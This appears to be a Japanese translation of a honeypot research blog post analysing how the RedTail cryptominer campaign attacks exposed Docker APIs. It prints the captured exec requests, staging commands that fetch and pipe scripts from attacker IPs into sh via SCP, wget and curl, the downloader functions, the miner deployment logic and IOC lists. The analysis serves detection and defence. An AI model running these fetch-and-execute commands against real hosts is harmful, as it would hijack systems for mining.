TL;DR
2025年11月、Beelzebub LabsのMario Candela氏による調査により、RedTailがポート2375で公開されたDocker APIを標的にした事例として、公にドキュメント化された初の証拠と見られるものが報告されました。
2026年6月にBeelzebubのハニーポットが取得したデータは、このキャンペーンがその後も進化を続けていることを示しています。コンテナ内で実行されるコマンドには、現在OpenSSHの秘密鍵とSSH設定が含まれるようになっており、主な取得手段としてSCPを使用し、失敗した場合はHTTPSにフォールバックします。
今回の取得データでは、ペイロードにも変化が見られます。ダウンローダーのロジックが更新され、ファイル名生成のフォールバックが追加された、互いに近縁な2種類のBashバリアントが確認されました。一方で、11月に確認されたdocker.selfrep引数とマイナー展開の挙動はそのまま維持されています。これらの変化は、RedTailの背後にいる攻撃者が依然として活発に活動しており、配信手法とペイロードツールの更新を継続していることを示しています。
はじめに
2025年11月、Beelzebub LabsのMario Candela氏による調査により、RedTailの暗号資産マイナー活動がポート2375で公開されたDocker APIを標的にした事例として、公にドキュメント化された初の証拠と見られるものが報告されました。これまでの公開報告では、RedTailはWebアプリケーション、IoTデバイス、VPN、ネットワーク機器の悪用を中心に取り上げられてきました。
2026年6月、Beelzebubのハニーポットが、公開されたDocker APIに対するさらなるRedTailの活動を記録しました。これにより、コンテナ内で実行されるコマンドと、それが取得するペイロードの双方に変化があったことが明らかになりました。
この活動では、11月に確認されたのと同じ特徴的なlibredtail-httpユーザーエージェントとdocker.selfrep引数が維持されており、両者の取得データを結び付ける手がかりとなっています。これらの変化は、RedTailの背後にいる攻撃者が依然として活発に活動しており、配信手法とペイロードツールの更新を継続していることを示す証拠です。
本記事では、2026年6月に取得された配信チェーン全体を分析します。コンテナの列挙からexecの作成、デタッチ実行に至るまでの流れに加え、コンテナ内で実行されるコマンドとそれが取得するペイロードについても解説します。
配信チェーンの分析
以下のシーケンスは、2026年6月10日に観測された最初期の活動から取り出した、配信チェーンの代表的な例です。同じパターンは、データセット内の他の送信元IPからも記録されています。
04:13:07 UTC、送信元IP 47.77.182.54から、公開されたDocker API経由で実行中のコンテナを列挙するリクエストが送信されました。
GET /containers/json
このレスポンスとして、実行中のコンテナの一覧が返されました。
04:13:08 UTC、同じ送信元が、発見したコンテナに対してexec-createリクエストを発行しました。
POST /containers/<redacted-container-id>/exec
各リクエストには、同一のRedTailステージングコマンドが含まれていました。
以下のイベントは、その一例を示したものです。埋め込まれた秘密鍵、対象ホスト、コンテナIDはプレースホルダーに置き換えています。
{
"DateTime": "2026-06-10T04:13:08Z",
"SourceIP": "47.77.182.54",
"Protocol": "HTTP",
"UserAgent": "libredtail-http",
"HostHTTPRequest": "<redacted-host>:2375",
"HTTPMethod": "POST",
"RequestURI": "/containers/<redacted-container-id>/exec",
"Body": {
"AttachStdout": false,
"AttachStderr": false,
"Cmd": [
"sh",
"-c",
"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk [email protected]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker.selfrep; else (wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep; fi; rm -rf sshcfg key.ppk out_sh"
]
}
}
このリクエストは、Dockerに対して以下を実行するexecインスタンスの作成を指示しています。
sh -c "<staging command>"
標準出力と標準エラー出力のアタッチは無効化されています。
{
"AttachStdout": false,
"AttachStderr": false
}
ステージングコマンドは、まず書き込み可能な3つの一時ディレクトリのいずれかに移動するところから始まります。
cd /tmp || cd /var/tmp || cd /dev/shm
続いて、ステージングコマンドはOpenSSHの秘密鍵をコンテナ内に書き込み、一時的なSSHクライアント設定を作成します。
echo '<REDACTED OPENSSH PRIVATE KEY>' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
このSSH設定は、ホスト鍵の検証を無効化し、ホスト情報がknown-hostsファイルに保存されないようにします。この設定により、SCPコマンドはホスト検証の入力待ちをせずに実行できます。
秘密鍵に400のパーミッションが付与されているのは、OpenSSHが他ユーザーからアクセス可能な秘密鍵を拒否するためです。
主な取得経路にはSCPが使われています。
scp -F sshcfg -i key.ppk [email protected]:sh out_sh
このコマンドは、ユーザーdlrとして217.60.195.113に認証を行い、リモート上のファイルshを取得して、コンテナ内にout_shとして保存します。
SCPによる転送が成功すると、ステージングコマンドはダウンロードしたスクリプトを実行可能にし、docker.selfrepを引数に実行します。
chmod +x out_sh
sh out_sh docker.selfrep
SCPが失敗した場合、ステージングコマンドはHTTPS経由で関連スクリプトを取得します。
(wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep
このフォールバックでは、まずwgetを試し、それが失敗した場合にcurlを試します。いずれのコマンドもTLS証明書の検証を無効化しています。ダウンロードしたスクリプトは、引数としてdocker.selfrepを伴い、直接shにストリーミングされて実行されます。
選択されたスクリプトの実行が完了すると、ステージングコマンドは一時的なSSH関連ファイルと、ローカルに保存されたout_shスクリプトを削除します。
rm -rf sshcfg key.ppk out_sh
同じ送信元は、続いてDockerのexec-startエンドポイントにリクエストを送信しました。
POST /exec/<redacted-exec-id>/start
{
"Detach": true,
"Tty": false
}
これにより、execインスタンスはTTYを割り当てないままデタッチモードで起動されます。その後、ステージングコマンドが選択されたコンテナ内で実行されます。
この代表的なシーケンスは、以下のようにまとめられます。
| 時刻(UTC) | Docker API呼び出し | 動作 |
|---|---|---|
04:13:07 |
GET /containers/json |
実行中のコンテナ一覧を列挙・取得 |
04:13:08 |
POST /containers/<container-id>/exec |
ステージングコマンドを含むexecインスタンスを作成 |
04:13:08–04:13:09 |
POST /exec/<exec-id>/start |
対象コンテナ内でステージングコマンドを実行 |
起動後、ステージングコマンドはコンテナ内で以下の手順を実行します。
- 書き込み可能なディレクトリ(
/tmp、/var/tmp、または/dev/shm)へ移動 key.ppk秘密鍵とsshcfgSSH設定を書き込み217.60.195.113からSCP経由でペイロードの取得を試行- 成功時:
out_sh docker.selfrepを実行 - 失敗時:
https://14.46.136.77/shを取得し、docker.selfrepを伴うHTTPS版を実行
- 成功時:
sshcfg、key.ppk、out_shを削除し、痕跡を消去
このシーケンスは、データセット内の複数の送信元IPからの活動全体で繰り返し確認されました。
ペイロードの分析
ステージングコマンドは、互いに近縁な2種類のBashペイロードのいずれかを実行できます。SCP経由の場合はリモートスクリプトをout_shとして保存し、HTTPSフォールバックの場合は関連するshバリアントを直接シェルにストリーミングします。
どちらもdocker.selfrep引数を受け取り、同じ展開ロジックを共有しています。主な違いは、cleanとマイナーバイナリを取得する際のダウンローダーのロジックです。
ランダム化された隠しファイル名
両方のスクリプトは、マイナー用の隠しファイル名を生成します。
FILENAME=".$(get_random_string)"
このランダム名生成関数は、openssl、/dev/urandom、Bashの$RANDOMの順に試行します。これらの方法がすべて失敗した場合は、静的な値redtailを使用します。
ダウンローダーのロジック
2種類のペイロードバリアントの主な違いは、dlr()関数にあります。
SCPで配信されるout_shバリアントは、まずSCPを試み、転送に失敗した場合はHTTPSにフォールバックします。
dlr() {
rm -rf $1
scp -F sshcfg -i key.ppk [email protected]:$1 $1
if [ $? -ne 0 ]; then
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
fi
}
HTTPSで配信されるshバリアントは、wgetまたはcurlのみを使用します。
dlr() {
rm -rf $1
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
}
両方のバリアントは、この関数を使ってcleanコンポーネントとアーキテクチャ別のマイナーバイナリを取得します。
作業ディレクトリの選定
両方のスクリプトは、適切な作業ディレクトリを検索します。その処理内容は以下の通りです。
- 現在のユーザーが所有し、読み取り・書き込み・実行権限を持つディレクトリを探索
noexecでマウントされたファイルシステム上のパスは、初期検索から除外/procおよび/tmp配下のディレクトリを除外/tmp、/var/tmp、/dev/shmを追加の候補として加える- 各ディレクトリで一時ファイルを作成し、
ddまたはtruncateで2MBのファイルを確保することでテスト - これらのチェックに合格した最初のディレクトリを選定
out_shバリアントでは、key.ppkとsshcfgを/tmpから選定されたディレクトリへ移動し、その後key.ppkに400のパーミッションを適用してSCPダウンローダーが引き続き利用できるようにします。
cleanスクリプト
マイナーをダウンロードする前に、両方のバリアントはcleanという名前のスクリプトを取得・実行します。
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
rm -rf $FILENAME
これまでのBeelzebubの調査で述べられている通り、cleanコンポーネントはおそらく以下を行うものと見られます。
- 競合する暗号資産マイナーの停止
- 他の攻撃者によるマルウェアの除去
- CPUリソースの解放
実行後、このスクリプトはclean自体を削除し、既存の.redtailファイルがあれば削除し、新たに生成された隠しファイル名に一致するファイルもすべて消去します。
マルチアーキテクチャ対応の展開
両方のスクリプトは、以下のコマンドでシステムのアーキテクチャを検出します。
ARCH=$(uname -mp)
その結果に応じて、4種類のマイナーバイナリのいずれかを選択します。
x86_64とamd64の場合はx86_64i386、i486、i586、i686の場合はi686armv8、aarch64の場合はaarch64armv7の場合はarm7
認識可能なアーキテクチャであれば、スクリプトはdlr()を使って該当するバイナリをダウンロードし、生成したランダムな隠しファイル名にリネームした上で実行可能にし、ステージングコマンドから受け取った引数を付けて起動します。
chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1
今回取得したデータでは、$1にはdocker.selfrepが渡されています。
アーキテクチャが認識できない場合、スクリプトはx86_64、i686、aarch64、arm7を順番にダウンロードして実行を試みます。
実行後、out_shバリアントはsshcfgとkey.ppkも削除します。
2025年11月のBeelzebub取得データとの比較
2025年11月に取得されたデータでは、直接HTTPベースのステージングコマンドが使用されていました。
cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh
このコマンドは、178.16.55.224からshをダウンロードしてredtail.shとして保存し、docker.selfrepを引数に実行した後、スクリプトを削除するというものでした。
一方、2026年6月のコマンドは主な取得手段としてSCPを使用します。OpenSSHの秘密鍵とSSH設定をコンテナ内に書き込み、217.60.195.113からshを取得してout_shとして保存します。SCPが失敗した場合は、14.46.136.77からHTTPS経由で関連スクリプトを取得します。
ペイロードのロジック自体は、両方の取得データを通じて概ね類似しています。ペイロード面での主な変化はダウンローダーです。11月のスクリプトはwget、curl、そして/dev/tcpフォールバックを使用していました。これに対し、6月のout_shバリアントはSCPを優先しHTTPSをフォールバックとして使用し、6月のshバリアントはwgetまたはcurlを通じたHTTPSを使用します。
6月のスクリプトには、ファイル名生成のフォールバックとして/dev/urandom、$RANDOM、静的な値redtailも含まれています。これらの手法は、11月の調査では確認されていませんでした。
侵害指標(IOC)
観測された送信元IP
101.36.104.242109.236.50.3157.245.118.253212.22.85.23747.77.182.5447.79.37.11768.183.234.194
ペイロードのステージングインフラ
| 指標 | 役割 |
|---|---|
217.60.195.113 |
SCPステージングサーバー |
14.46.136.77 |
HTTPSサーバー |
結論
今回新たに取得されたデータは、RedTailの運営者がDocker APIに対する攻撃チェーンを一度限りの実験としてではなく、継続的に洗練させていることを裏付けています。2025年11月に最初に観測して以降、ステージングコマンドは単純なHTTPダウンロードから、コンテナ内にOpenSSHの秘密鍵と設定を送り込み、SCPによる取得を優先しつつHTTPSはあくまでフォールバックとして残すという、多段階の手順へと進化しました。
SCPベースの配信への移行と、追加されたファイル名生成のフォールバックは、中核となるマイニングペイロードは安定させたまま、耐障害性と検知回避の面で改良を重ねている運用の姿を示しています。公開されたDocker APIは、依然として価値が高く監視が行き届いていない標的であり、今回のキャンペーンはそれをインターネットから到達可能な状態のまま放置することの代償を物語っています。🚨
本記事は、マルウェア解析をテーマに継続しているシリーズの最新回です。
Beelzebubコミュニティは、インターネットをより安全な場所にするための取り組みを今後も続けてまいります。❤️
翻訳元: https://beelzebub.ai/blog/redtail-docker-api-campaign-evolves/